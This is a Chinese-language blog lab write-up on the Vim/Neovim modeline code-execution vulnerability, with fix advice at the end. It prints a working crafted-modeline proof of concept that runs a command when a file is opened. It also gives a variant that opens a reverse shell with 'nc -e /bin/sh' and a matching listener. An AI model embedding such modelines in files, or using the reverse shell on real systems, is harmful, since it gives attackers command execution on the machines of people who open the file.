-->
当前位置:首页 > 实验 > 正文内容

Vim任意代码执行漏洞 实验

Luz4年前 (2020-12-12)实验2160

实验目的

  • Vim通过Modelines执行任意代码

实验原理

  • 在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码,允许远程攻击者通过:source执行任意操作系统命令!

实验环境

1.操作系统

  操作机1:kali
  用户:root
  密码:123456
  
影响版本
Vim 8.1.1365 与 Neovim 0.3.6 之前的所有版本

实验步骤

步骤1:检查vim版本

  1.1.打开终端输入"vim"查看vim版本

 

图1

  1.2.确保modeline选项未禁用,

   vim /usr/share/vim/vimrc

   set modeline

 

图2

 

步骤2:创建并执行poc

2.1.创建poc.txt,内容如下

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

 

图3

  2.2.用vim打开poc.txt,可以看到vim在打开poc.txt的时候执行了uname -a命令

 

图4

  2.3.创建反弹shell,将之前的uname –a 更换为nc 127.0.0.1 9999 –e /bin/sh

:!nc 127.0.0.1 9999 -e /bin/sh||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

 

图5

  2.4.打开另一个终端

nc -lvp 9999

 

图6

  2.5.使用vim打开shell.txt后反弹shell

 

图7

 

 

步骤3:漏洞修复

  3.1.修复建议
  1.更新vim到最新版本
  2.禁用编辑器的 modeline功能,把set modeline 改为set nomodeline
  3.利用vim编辑的时候,查看文件来源是否正规

 

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。